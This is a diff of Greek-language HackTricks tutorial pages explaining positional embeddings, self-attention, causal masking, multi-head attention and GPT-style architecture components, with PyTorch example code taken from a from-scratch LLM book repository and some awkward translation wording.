- Το μοντέλο επεξεργάζεται αυτές τις αναπαραστάσεις για να μάθει γλωσσικά μοτίβα και να δημιουργήσει προβλέψεις.
## **Θέσεις Αναπαραστάσεων: Προσθήκη Πλαισίου στις Αναπαραστάσεις Tokens**
Ενώ οι αναπαραστάσεις tokens συλλαμβάνουν τη σημασία των μεμονωμένων tokens, δεν κωδικοποιούν εγγενώς τη θέση των tokens μέσα σε μια σειρά. Η κατανόηση της σειράς των tokens είναι κρίσιμη για την κατανόηση της γλώσσας. Εδώ είναι που έρχονται οι **θέσεις αναπαραστάσεων**.
Ενώ οι αναπαραστάσεις tokens συλλαμβάνουν τη σημασία των μεμονωμένων tokens, δεν κωδικοποιούν εγγενώς τη θέση των tokens μέσα σε μια σειρά. Η κατανόηση της σειράς των tokens είναι κρίσιμη για την κατανόηση της γλώσσας. Εδώ είναι που εισέρχονται οι **θέσεις αναπαραστάσεων**.
### **Γιατί Χρειάζονται οι Θέσεις Αναπαραστάσεων:**
@ -133,7 +135,7 @@ cssCopy codeBatch
### **Τύποι Θέσεων Αναπαραστάσεων:**
1. **Απόλυτες Θέσεις Αναπαραστάσεων:**
- Αναθέτουν ένα μοναδικό διανυσματικό θέση σε κάθε θέση στη σειρά.
- Αναθέτουν έναν μοναδικό διανυσματικό χώρο θέσης σε κάθε θέση στη σειρά.
- **Παράδειγμα:** Το πρώτο token σε οποιαδήποτε σειρά έχει την ίδια θέση αναπαράστασης, το δεύτερο token έχει άλλη, και ούτω καθεξής.
- **Χρησιμοποιείται Από:** Τα μοντέλα GPT της OpenAI.
2. **Σχετικές Θέσεις Αναπαραστάσεων:**
@ -148,7 +150,7 @@ cssCopy codeBatch
**Παράδειγμα Πρόσθεσης Θέσεων Αναπαραστάσεων:**
Ας υποθέσουμε ότι ένα διανυσματικό αναπαράστασης token είναι `[0.5, -0.2, 0.1]` και το διανυσματικό αναπαράστασης θέσης του είναι `[0.1, 0.3, -0.1]`. Η συνδυασμένη αναπαράσταση που χρησιμοποιεί το μοντέλο θα είναι:
Ας υποθέσουμε ότι ένα διανυσματικό χώρο αναπαράστασης token είναι `[0.5, -0.2, 0.1]` και το διανυσματικό χώρο θέσης του είναι `[0.1, 0.3, -0.1]`. Η συνδυασμένη αναπαράσταση που χρησιμοποιεί το μοντέλο θα είναι:
```css
Combined Embedding = Token Embedding + Positional Embedding
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
@ -156,12 +158,12 @@ Combined Embedding = Token Embedding + Positional Embedding
```
**Οφέλη των Θέσεων Ενσωματώσεων:**
- **Συνειδητοποίηση Πλαισίου:** Το μοντέλο μπορεί να διακρίνει μεταξύ των τοκεν με βάση τις θέσεις τους.
- **Συνειδητοποίηση Πλαισίου:** Το μοντέλο μπορεί να διακρίνει μεταξύ των tokens με βάση τις θέσεις τους.
- **Κατανόηση Ακολουθίας:** Δίνει τη δυνατότητα στο μοντέλο να κατανοεί τη γραμματική, τη σύνταξη και τις σημασίες που εξαρτώνται από το πλαίσιο.
## Παράδειγμα Κώδικα
Ακολουθώντας το παράδειγμα κώδικα από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
Ακολουθεί το παράδειγμα κώδικα από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Use previous code...
@ -201,3 +203,6 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
## Αναφορές
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,28 +1,30 @@
# 4. Μηχανισμοί Προσοχής
{{#include /banners/hacktricks-training.md}}
## Μηχανισμοί Προσοχής και Αυτοπροσοχή σε Νευρωνικά Δίκτυα
Οι μηχανισμοί προσοχής επιτρέπουν στα νευρωνικά δίκτυα να εστιάζουν σε συγκεκριμένα μέρη της εισόδου κατά την παραγωγή κάθε μέρους της εξόδου. Αναθέτουν διαφορετικά βάρη σε διαφορετικές εισόδους, βοηθώντας το μοντέλο να αποφασίσει ποιες είσοδοι είναι πιο σχετικές με την τρέχουσα εργασία. Αυτό είναι κρίσιμο σε εργασίες όπως η μηχανική μετάφραση, όπου η κατανόηση του πλαισίου ολόκληρης της πρότασης είναι απαραίτητη για ακριβή μετάφραση.
Οι μηχανισμοί προσοχής επιτρέπουν στα νευρωνικά δίκτυα να **εστιάζουν σε συγκεκριμένα μέρη της εισόδου κατά την παραγωγή κάθε μέρους της εξόδου**. Αναθέτουν διαφορετικά βάρη σε διαφορετικές εισόδους, βοηθώντας το μοντέλο να αποφασίσει ποιες είσοδοι είναι πιο σχετικές με την τρέχουσα εργασία. Αυτό είναι κρίσιμο σε εργασίες όπως η μηχανική μετάφραση, όπου η κατανόηση του πλαισίου ολόκληρης της πρότασης είναι απαραίτητη για ακριβή μετάφραση.
> [!TIP]
> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε μερικούς μηχανισμούς προσοχής**. Αυτοί θα είναι πολλαπλά **επαναλαμβανόμενα επίπεδα** που θα **καταγράψουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\
> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε μερικούς μηχανισμούς προσοχής**. Αυτοί θα είναι πολλαπλά **επανερχόμενα επίπεδα** που θα **καταγράψουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\
> Χρησιμοποιούνται πολλά επίπεδα γι' αυτό, οπότε πολλοί εκπαιδεύσιμοι παράμετροι θα καταγράφουν αυτές τις πληροφορίες.
### Κατανόηση Μηχανισμών Προσοχής
Σε παραδοσιακά μοντέλα ακολουθίας προς ακολουθία που χρησιμοποιούνται για τη μετάφραση γλώσσας, το μοντέλο κωδικοποιεί μια ακολουθία εισόδου σε ένα σταθερού μεγέθους διάνυσμα πλαισίου. Ωστόσο, αυτή η προσέγγιση δυσκολεύεται με μεγάλες προτάσεις επειδή το σταθερού μεγέθους διάνυσμα πλαισίου μπορεί να μην καταγράψει όλες τις απαραίτητες πληροφορίες. Οι μηχανισμοί προσοχής αντιμετωπίζουν αυτόν τον περιορισμό επιτρέποντας στο μοντέλο να εξετάσει όλα τα εισερχόμενα tokens κατά την παραγωγή κάθε εξόδου token.
Στα παραδοσιακά μοντέλα ακολουθίας προς ακολουθία που χρησιμοποιούνται για τη μετάφραση γλώσσας, το μοντέλο κωδικοποιεί μια ακολουθία εισόδου σε ένα σταθερού μεγέθους διάνυσμα πλαισίου. Ωστόσο, αυτή η προσέγγιση δυσκολεύεται με μεγάλες προτάσεις επειδή το σταθερού μεγέθους διάνυσμα πλαισίου μπορεί να μην καταγράψει όλες τις απαραίτητες πληροφορίες. Οι μηχανισμοί προσοχής αντιμετωπίζουν αυτόν τον περιορισμό επιτρέποντας στο μοντέλο να εξετάσει όλα τα εισαγωγικά tokens κατά την παραγωγή κάθε εξαγωγικού token.
#### Παράδειγμα: Μηχανική Μετάφραση
Σκεφτείτε τη μετάφραση της γερμανικής πρότασης "Kannst du mir helfen diesen Satz zu übersetzen" στα αγγλικά. Μια λέξη προς λέξη μετάφραση δεν θα παρήγαγε μια γραμματικά σωστή αγγλική πρόταση λόγω διαφορών στις γραμματικές δομές μεταξύ των γλωσσών. Ένας μηχανισμός προσοχής επιτρέπει στο μοντέλο να εστιάζει σε σχετικές partes της εισερχόμενης πρότασης κατά την παραγωγή κάθε λέξης της εξόδου, οδηγώντας σε μια πιο ακριβή και συνεκτική μετάφραση.
Σκεφτείτε τη μετάφραση της γερμανικής πρότασης "Kannst du mir helfen diesen Satz zu übersetzen" στα αγγλικά. Μια λέξη προς λέξη μετάφραση δεν θα παραγάγει μια γραμματικά σωστή αγγλική πρόταση λόγω διαφορών στις γραμματικές δομές μεταξύ των γλωσσών. Ένας μηχανισμός προσοχής επιτρέπει στο μοντέλο να εστιάσει σε σχετικές περιοχές της εισαγωγικής πρότασης κατά την παραγωγή κάθε λέξης της εξαγωγικής πρότασης, οδηγώντας σε μια πιο ακριβή και συνεκτική μετάφραση.
### Εισαγωγή στην Αυτοπροσοχή
Η αυτοπροσοχή, ή ενδοπροσοχή, είναι ένας μηχανισμός όπου η προσοχή εφαρμόζεται εντός μιας μόνο ακολουθίας για να υπολογίσει μια αναπαράσταση αυτής της ακολουθίας. Επιτρέπει σε κάθε token στην ακολουθία να εστιάζει σε όλα τα άλλα tokens, βοηθώντας το μοντέλο να καταγράψει εξαρτήσεις μεταξύ των tokens ανεξαρτήτως της απόστασής τους στην ακολουθία.
Η αυτοπροσοχή, ή ενδοπροσοχή, είναι ένας μηχανισμός όπου η προσοχή εφαρμόζεται εντός μιας μόνο ακολουθίας για να υπολογιστεί μια αναπαράσταση αυτής της ακολουθίας. Επιτρέπει σε κάθε token στην ακολουθία να εστιάσει σε όλα τα άλλα tokens, βοηθώντας το μοντέλο να καταγράψει εξαρτήσεις μεταξύ των tokens ανεξαρτήτως της απόστασής τους στην ακολουθία.
#### Κύριες Έννοιες
- **Tokens**: Ατομικά στοιχεία της εισερχόμενης ακολουθίας (π.χ., λέξεις σε μια πρόταση).
- **Tokens**: Ατομικά στοιχεία της εισαγωγικής ακολουθίας (π.χ., λέξεις σε μια πρόταση).
- **Ενσωματώσεις**: Διανυσματικές αναπαραστάσεις των tokens, που καταγράφουν σημασιολογικές πληροφορίες.
- **Βάρη Προσοχής**: Τιμές που καθορίζουν τη σημασία κάθε token σε σχέση με τα άλλα.
@ -39,7 +41,7 @@
#### Βήμα 1: Υπολογισμός Σκορ Προσοχής
> [!TIP]
> Απλώς πολλαπλασιάστε κάθε τιμή διάστασης του query με την αντίστοιχη κάθε token και προσθέστε τα αποτελέσματα. Παίρνετε 1 τιμή ανά ζεύγος tokens.
> Απλά πολλαπλασιάστε κάθε τιμή διάστασης του query με την αντίστοιχη κάθε token και προσθέστε τα αποτελέσματα. Παίρνετε 1 τιμή ανά ζεύγος tokens.
Για κάθε λέξη στην πρόταση, υπολογίστε το **σκορ προσοχής** σε σχέση με το "shiny" υπολογίζοντας το εσωτερικό γινόμενο των ενσωματώσεών τους.
@ -62,13 +64,13 @@
>
> Επιπλέον, η συνάρτηση **softmax** χρησιμοποιείται επειδή τονίζει τις διαφορές λόγω του εκθετικού μέρους, διευκολύνοντας την ανίχνευση χρήσιμων τιμών.
Εφαρμόστε τη **συνάρτηση softmax** στα σκορ προσοχής για να τα μετατρέψετε σε βάρη προσοχής που αθροίζουν 1.
Εφαρμόστε τη **συνάρτηση softmax** στα σκορ προσοχής για να τα μετατρέψετε σε βάρη προσοχής που αθροίζουν σε 1.
<figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
Υπολογίζοντας τις εκθετικές:
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
<figure><img src="../../images/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
Υπολογίζοντας το άθροισμα:
@ -81,7 +83,7 @@
#### Βήμα 3: Υπολογισμός του Διάνυσματος Πλαισίου
> [!TIP]
> Απλώς πάρτε κάθε βάρος προσοχής και πολλαπλασιάστε το με τις σχετικές διαστάσεις token και στη συνέχεια αθροίστε όλες τις διαστάσεις για να αποκτήσετε μόνο 1 διάνυσμα (το διάνυσμα πλαισίου)
> Απλά πάρτε κάθε βάρος προσοχής και πολλαπλασιάστε το με τις σχετικές διαστάσεις του token και στη συνέχεια αθροίστε όλες τις διαστάσεις για να πάρετε μόνο 1 διάνυσμα (το διάνυσμα πλαισίου)
Το **διάνυσμα πλαισίου** υπολογίζεται ως το ζυγισμένο άθροισμα των ενσωματώσεων όλων των λέξεων, χρησιμοποιώντας τα βάρη προσοχής.
@ -110,7 +112,7 @@
### Περίληψη της Διαδικασίας
1. **Υπολογίστε Σκορ Προσοχής**: Χρησιμοποιήστε το εσωτερικό γινόμενο μεταξύ της ενσωμάτωσης της στοχευμένης λέξης και των ενσωματώσεων όλων των λέξεων στην ακολουθία.
2. **Κανονικοποιήστε τα Σκορ για να Λάβετε Βάρη Προσοχής**: Εφαρμόστε τη συνάρτηση softmax στα σκορ προσοχής για να αποκτήσετε βάρη που αθροίζουν 1.
2. **Κανονικοποιήστε τα Σκορ για να Λάβετε Βάρη Προσοχής**: Εφαρμόστε τη συνάρτηση softmax στα σκορ προσοχής για να αποκτήσετε βάρη που αθροίζουν σε 1.
3. **Υπολογίστε το Δίπλωμα Πλαισίου**: Πολλαπλασιάστε την ενσωμάτωση κάθε λέξης με το βάρος προσοχής της και αθροίστε τα αποτελέσματα.
## Αυτοπροσοχή με Εκπαιδεύσιμα Βάρη
@ -153,28 +155,28 @@ queries = torch.matmul(inputs, W_query)
keys = torch.matmul(inputs, W_key)
values = torch.matmul(inputs, W_value)
```
#### Βήμα 2: Υπολογισμός Κλιμακωτής Σκορ Διάνυσμα Προσοχής
#### Βήμα 2: Υπολογισμός Σ scaled Dot-Product Attention
**Υπολογισμός Σκορ Προσοχής**
Παρόμοια με το προηγούμενο παράδειγμα, αλλά αυτή τη φορά, αντί να χρησιμοποιούμε τις τιμές των διαστάσεων των tokens, χρησιμοποιούμε τον πίνακα κλειδιών του token (που έχει υπολογιστεί ήδη χρησιμοποιώντας τις διαστάσεις):. Έτσι, για κάθε ερώτημα `qi` και κλειδί `kj`:
Παρόμοια με το παράδειγμα από πριν, αλλά αυτή τη φορά, αντί να χρησιμοποιούμε τις τιμές των διαστάσεων των tokens, χρησιμοποιούμε τον πίνακα κλειδιών του token (που έχει υπολογιστεί ήδη χρησιμοποιώντας τις διαστάσεις):. Έτσι, για κάθε ερώτημα `qi` και κλειδί `kj`:
<figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
**Κλιμάκωση των Σκορ**
**Κλίμακα τα Σκορ**
Για να αποτρέψουμε τα εσωτερικά προϊόντα να γίνουν πολύ μεγάλα, τα κλιμακώνουμε με την τετραγωνική ρίζα της διάστασης κλειδιού `dk`:
Για να αποτρέψουμε τα εσωτερικά γινόμενα να γίνουν πολύ μεγάλα, κλιμακώνουμε τα με τη ρίζα του διαστάσεων κλειδιού `dk`:
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
> [!TIP]
> Το σκορ διαιρείται με την τετραγωνική ρίζα των διαστάσεων γιατί τα εσωτερικά προϊόντα μπορεί να γίνουν πολύ μεγάλα και αυτό βοηθά να τα ρυθμίσουμε.
> Το σκορ διαιρείται με τη ρίζα των διαστάσεων επειδή τα εσωτερικά γινόμενα μπορεί να γίνουν πολύ μεγάλα και αυτό βοηθά να ρυθμιστούν.
**Εφαρμογή Softmax για Απόκτηση Βαρών Προσοχής:** Όπως στο αρχικό παράδειγμα, κανονικοποιούμε όλες τις τιμές ώστε να αθροίζουν 1.
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
#### Βήμα 3: Υπολογισμός Δεικτών Πλαισίου
#### Βήμα 3: Υπολογισμός Συμφραζομένων Διανυσμάτων
Όπως στο αρχικό παράδειγμα, απλώς αθροίζουμε όλους τους πίνακες τιμών πολλαπλασιάζοντας τον καθένα με το βάρος προσοχής του:
@ -224,13 +226,13 @@ print(sa_v2(inputs))
> [!TIP]
> Σημειώστε ότι αντί να αρχικοποιήσουμε τους πίνακες με τυχαίες τιμές, χρησιμοποιείται το `nn.Linear` για να σημάνει όλα τα βάρη ως παραμέτρους προς εκπαίδευση.
## Αιτιώδης Προσοχή: Απόκρυψη Μελλοντικών Λέξεων
## Causal Attention: Απόκρυψη Μελλοντικών Λέξεων
Για τα LLMs θέλουμε το μοντέλο να εξετάσει μόνο τα tokens που εμφανίζονται πριν από την τρέχουσα θέση προκειμένου να **προβλέψει το επόμενο token**. Η **αιτιώδης προσοχή**, γνωστή επίσης ως **masked attention**, επιτυγχάνει αυτό τροποποιώντας τον μηχανισμό προσοχής για να αποτρέψει την πρόσβαση σε μελλοντικά tokens.
Για τα LLMs θέλουμε το μοντέλο να εξετάζει μόνο τα tokens που εμφανίζονται πριν από την τρέχουσα θέση προκειμένου να **προβλέψει το επόμενο token**. **Causal attention**, γνωστό και ως **masked attention**, επιτυγχάνει αυτό τροποποιώντας τον μηχανισμό προσοχής για να αποτρέψει την πρόσβαση σε μελλοντικά tokens.
### Εφαρμογή Μάσκας Αιτιώδους Προσοχής
### Εφαρμογή Μάσκας Causal Attention
Για να εφαρμόσουμε την αιτιώδη προσοχή, εφαρμόζουμε μια μάσκα στους βαθμούς προσοχής **πριν από τη λειτουργία softmax** ώστε οι υπόλοιποι να αθροίζουν 1. Αυτή η μάσκα ορίζει τους βαθμούς προσοχής των μελλοντικών tokens σε αρνητική άπειρο, διασφαλίζοντας ότι μετά το softmax, τα βάρη προσοχής τους είναι μηδέν.
Για να υλοποιήσουμε την causal attention, εφαρμόζουμε μια μάσκα στους βαθμούς προσοχής **πριν από τη λειτουργία softmax** ώστε οι υπόλοιποι να αθροίζουν 1. Αυτή η μάσκα ορίζει τους βαθμούς προσοχής των μελλοντικών tokens σε αρνητική άπειρο, διασφαλίζοντας ότι μετά το softmax, τα βάρη προσοχής τους είναι μηδέν.
**Βήματα**
@ -242,13 +244,13 @@ mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
masked_scores = attention_scores + mask
```
3. **Εφαρμογή Softmax**: Υπολογίστε τα βάρη προσοχής χρησιμοποιώντας τους μασκαρισμένους βαθμούς.
3. **Εφαρμογή Softmax**: Υπολογίστε τα βάρη προσοχής χρησιμοποιώντας τους μάσκες βαθμούς.
```python
attention_weights = torch.softmax(masked_scores, dim=-1)
```
### Μάσκα πρόσθετων Βαρών Προσοχής με Dropout
### Μάσκα Επιπλέον Βαρών Προσοχής με Dropout
Για να **αποτρέψουμε την υπερβολική προσαρμογή**, μπορούμε να εφαρμόσουμε **dropout** στα βάρη προσοχής μετά τη λειτουργία softmax. Το dropout **μηχανικά μηδενίζει κάποια από τα βάρη προσοχής** κατά τη διάρκεια της εκπαίδευσης.
```python
@ -327,7 +329,7 @@ print("context_vecs.shape:", context_vecs.shape)
### Παράδειγμα Κώδικα
Θα μπορούσε να είναι δυνατό να επαναχρησιμοποιηθεί ο προηγούμενος κώδικας και απλώς να προστεθεί μια περιτύλιξη που τον εκκινεί πολλές φορές, αλλά αυτή είναι μια πιο βελτιστοποιημένη έκδοση από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) που επεξεργάζεται όλες τις κεφαλές ταυτόχρονα (μειώνοντας τον αριθμό των δαπανηρών βρόχων). Όπως μπορείτε να δείτε στον κώδικα, οι διαστάσεις κάθε token διαιρούνται σε διαφορετικές διαστάσεις ανάλογα με τον αριθμό των κεφαλών. Με αυτόν τον τρόπο, αν το token έχει 8 διαστάσεις και θέλουμε να χρησιμοποιήσουμε 3 κεφαλές, οι διαστάσεις θα διαιρεθούν σε 2 πίνακες των 4 διαστάσεων και κάθε κεφαλή θα χρησιμοποιήσει έναν από αυτούς:
Θα μπορούσε να είναι δυνατό να επαναχρησιμοποιηθεί ο προηγούμενος κώδικας και απλώς να προστεθεί μια περιτύλιξη που τον εκκινεί πολλές φορές, αλλά αυτή είναι μια πιο βελτιστοποιημένη έκδοση από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) που επεξεργάζεται όλες τις κεφαλές ταυτόχρονα (μειώνοντας τον αριθμό των δαπανηρών βρόχων for). Όπως μπορείτε να δείτε στον κώδικα, οι διαστάσεις κάθε token διαιρούνται σε διαφορετικές διαστάσεις ανάλογα με τον αριθμό των κεφαλών. Με αυτόν τον τρόπο, αν το token έχει 8 διαστάσεις και θέλουμε να χρησιμοποιήσουμε 3 κεφαλές, οι διαστάσεις θα διαιρεθούν σε 2 πίνακες των 4 διαστάσεων και κάθε κεφαλή θα χρησιμοποιήσει έναν από αυτούς:
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
@ -404,13 +406,16 @@ print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
Για μια άλλη συμπαγή και αποδοτική υλοποίηση, μπορείτε να χρησιμοποιήσετε την [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) κλάση στο PyTorch.
Για μια άλλη συμπαγή και αποδοτική υλοποίηση, μπορείτε να χρησιμοποιήσετε την κλάση [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) στο PyTorch.
> [!TIP]
> Σύντομη απάντηση του ChatGPT σχετικά με το γιατί είναι καλύτερο να διαιρείτε τις διαστάσεις των tokens μεταξύ των heads αντί να έχει κάθε head πρόσβαση σε όλες τις διαστάσεις όλων των tokens:
> Σύντομη απάντηση του ChatGPT σχετικά με το γιατί είναι καλύτερο να διαιρούμε τις διαστάσεις των tokens μεταξύ των heads αντί να έχει κάθε head πρόσβαση σε όλες τις διαστάσεις όλων των tokens:
>
> Ενώ η δυνατότητα κάθε head να επεξεργάζεται όλες τις διαστάσεις embedding μπορεί να φαίνεται πλεονεκτική επειδή κάθε head θα έχει πρόσβαση σε όλες τις πληροφορίες, η τυπική πρακτική είναι να **διαιρείτε τις διαστάσεις embedding μεταξύ των heads**. Αυτή η προσέγγιση ισορροπεί την υπολογιστική αποδοτικότητα με την απόδοση του μοντέλου και ενθαρρύνει κάθε head να μάθει ποικιλόμορφες αναπαραστάσεις. Επομένως, η διαίρεση των διαστάσεων embedding προτιμάται γενικά από το να έχει κάθε head πρόσβαση σε όλες τις διαστάσεις.
> Ενώ η δυνατότητα κάθε head να επεξεργάζεται όλες τις διαστάσεις embedding μπορεί να φαίνεται πλεονεκτική επειδή κάθε head θα έχει πρόσβαση σε όλες τις πληροφορίες, η τυπική πρακτική είναι να **διαιρούμε τις διαστάσεις embedding μεταξύ των heads**. Αυτή η προσέγγιση ισορροπεί την υπολογιστική αποδοτικότητα με την απόδοση του μοντέλου και ενθαρρύνει κάθε head να μάθει ποικιλόμορφες αναπαραστάσεις. Επομένως, η διαίρεση των διαστάσεων embedding προτιμάται γενικά από το να έχει κάθε head πρόσβαση σε όλες τις διαστάσεις.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# 5. LLM Architecture
{{#include /banners/hacktricks-training.md}}
## LLM Architecture
> [!TIP]
@ -19,7 +21,7 @@ A high level representation can be observed in:
- **Masked Multi-Head Attention**: Επιτρέπει στο μοντέλο να εστιάζει σε διάφορα μέρη του εισερχόμενου κειμένου ταυτόχρονα.
- **Layer Normalization**: Ένα βήμα κανονικοποίησης για τη σταθεροποίηση και τη βελτίωση της εκπαίδευσης.
- **Feed Forward Layer**: Υπεύθυνο για την επεξεργασία των πληροφοριών από το επίπεδο προσοχής και την πρόβλεψη του επόμενου token.
- **Dropout Layers**: Αυτά τα επίπεδα αποτρέπουν την υπερβολική προσαρμογή (overfitting) ρίχνοντας τυχαία μονάδες κατά τη διάρκεια της εκπαίδευσης.
- **Dropout Layers**: Αυτά τα επίπεδα αποτρέπουν την υπερβολική προσαρμογή (overfitting) απορρίπτοντας τυχαία μονάδες κατά τη διάρκεια της εκπαίδευσης.
4. **Final Output Layer**: Το μοντέλο εξάγει έναν **4x50,257-διάστατο tensor**, όπου **50,257** αντιπροσωπεύει το μέγεθος του λεξιλογίου. Κάθε γραμμή σε αυτόν τον tensor αντιστοιχεί σε ένα διάνυσμα που το μοντέλο χρησιμοποιεί για να προβλέψει την επόμενη λέξη στην ακολουθία.
5. **Goal**: Ο στόχος είναι να ληφθούν αυτές οι αναπαραστάσεις και να μετατραπούν ξανά σε κείμενο. Συγκεκριμένα, η τελευταία γραμμή της εξόδου χρησιμοποιείται για να παραγάγει την επόμενη λέξη, που αναπαρίσταται ως "forward" σε αυτό το διάγραμμα.
@ -195,7 +197,7 @@ print("Input batch:\n", batch)
print("\nOutput shape:", out.shape)
print(out)
```
### **Συνάρτηση Ενεργοποίησης GELU**
### **GELU Λειτουργία Ενεργοποίησης**
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GELU(nn.Module):
@ -261,19 +263,19 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
- **Πολυκεφαλική Αυτοπροσοχή:** Επιτρέπει στο μοντέλο να εστιάζει σε διαφορετικές θέσεις μέσα στην είσοδο όταν κωδικοποιεί ένα token.
- **Βασικά Στοιχεία:**
- **Ερωτήσεις, Κλειδιά, Τιμές:** Γραμμικές προβολές της εισόδου, που χρησιμοποιούνται για τον υπολογισμό των σκορ προσοχής.
- **Κεφαλές:** Πολλαπλοί μηχανισμοί προσοχής που εκτελούνται παράλληλα (`num_heads`), καθένας με μειωμένη διάσταση (`head_dim`).
- **Κεφάλια:** Πολλαπλοί μηχανισμοί προσοχής που εκτελούνται παράλληλα (`num_heads`), καθένας με μειωμένη διάσταση (`head_dim`).
- **Σκορ Προσοχής:** Υπολογίζονται ως το εσωτερικό γινόμενο των ερωτήσεων και των κλειδιών, κλιμακωμένα και μάσκες.
- **Μάσκα:** Μια αιτιολογική μάσκα εφαρμόζεται για να αποτρέψει το μοντέλο από το να εστιάζει σε μελλοντικά tokens (σημαντικό για αυτοπαραγωγικά μοντέλα όπως το GPT).
- **Βάρη Προσοχής:** Softmax των μάσκων και κλιμακωμένων σκορ προσοχής.
- **Μάσκα:** Μια αιτιώδης μάσκα εφαρμόζεται για να αποτρέψει το μοντέλο από το να εστιάζει σε μελλοντικά tokens (σημαντικό για αυτοπαραγωγικά μοντέλα όπως το GPT).
- **Βάρη Προσοχής:** Softmax των μάσκας και κλιμακωμένων σκορ προσοχής.
- **Διάνυσμα Πλαισίου:** Ζυγισμένο άθροισμα των τιμών, σύμφωνα με τα βάρη προσοχής.
- **Προβολή Εξόδου:** Γραμμικό επίπεδο για να συνδυάσει τις εξόδους όλων των κεφαλών.
- **Προβολή Εξόδου:** Γραμμικό επίπεδο για να συνδυάσει τις εξόδους όλων των κεφαλιών.
> [!TIP]
> Ο στόχος αυτού του δικτύου είναι να βρει τις σχέσεις μεταξύ των tokens στο ίδιο πλαίσιο. Επιπλέον, τα tokens χωρίζονται σε διαφορετικές κεφαλές προκειμένου να αποτραπεί η υπερβολική προσαρμογή, αν και οι τελικές σχέσεις που βρίσκονται ανά κεφαλή συνδυάζονται στο τέλος αυτού του δικτύου.
> Ο στόχος αυτού του δικτύου είναι να βρει τις σχέσεις μεταξύ των tokens στο ίδιο πλαίσιο. Επιπλέον, τα tokens χωρίζονται σε διαφορετικά κεφάλια προκειμένου να αποτραπεί η υπερβολική προσαρμογή, αν και οι τελικές σχέσεις που βρίσκονται ανά κεφάλι συνδυάζονται στο τέλος αυτού του δικτύου.
>
> Επιπλέον, κατά την εκπαίδευση εφαρμόζεται μια **αιτιολογική μάσκα** ώστε τα μελλοντικά tokens να μην λαμβάνονται υπόψη κατά την αναζήτηση συγκεκριμένων σχέσεων με ένα token και εφαρμόζεται επίσης κάποια **dropout** για να **αποτραπεί η υπερβολική προσαρμογή**.
> Επιπλέον, κατά την εκπαίδευση εφαρμόζεται μια **αιτιώδης μάσκα** ώστε τα μετέπειτα tokens να μην λαμβάνονται υπόψη κατά την αναζήτηση συγκεκριμένων σχέσεων με ένα token και εφαρμόζεται επίσης κάποια **dropout** για να **αποτραπεί η υπερβολική προσαρμογή**.
### **Κανονικοποίηση** Επίπεδου
### **Κανονικοποίηση** Layer
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class LayerNorm(nn.Module):
@ -294,7 +296,7 @@ return self.scale * norm_x + self.shift
- **Layer Normalization:** Μια τεχνική που χρησιμοποιείται για να κανονικοποιήσει τις εισόδους σε όλη τη διάρκεια των χαρακτηριστικών (διαστάσεις embedding) για κάθε μεμονωμένο παράδειγμα σε μια παρτίδα.
- **Συστατικά:**
- **`eps`:** Ένας μικρός σταθερός αριθμός (`1e-5`) που προστίθεται στη διακύμανση για να αποτραπεί η διαίρεση με το μηδέν κατά τη διάρκεια της κανονικοποίησης.
- **`scale` και `shift`:** Μαθητές παράμετροι (`nn.Parameter`) που επιτρέπουν στο μοντέλο να κλιμακώνει και να μετατοπίζει την κανονικοποιημένη έξοδο. Αρχικοποιούνται σε μονάδες και μηδενικά, αντίστοιχα.
- **`scale` και `shift`:** Μαθητές παράμετροι (`nn.Parameter`) που επιτρέπουν στο μοντέλο να κλιμακώνει και να μετατοπίζει την κανονικοποιημένη έξοδο. Αρχικοποιούνται σε ένα και μηδέν, αντίστοιχα.
- **Διαδικασία Κανονικοποίησης:**
- **Υπολογισμός Μέσου (`mean`):** Υπολογίζει τον μέσο όρο της εισόδου `x` σε όλη τη διάρκεια της διάστασης embedding (`dim=-1`), διατηρώντας τη διάσταση για broadcasting (`keepdim=True`).
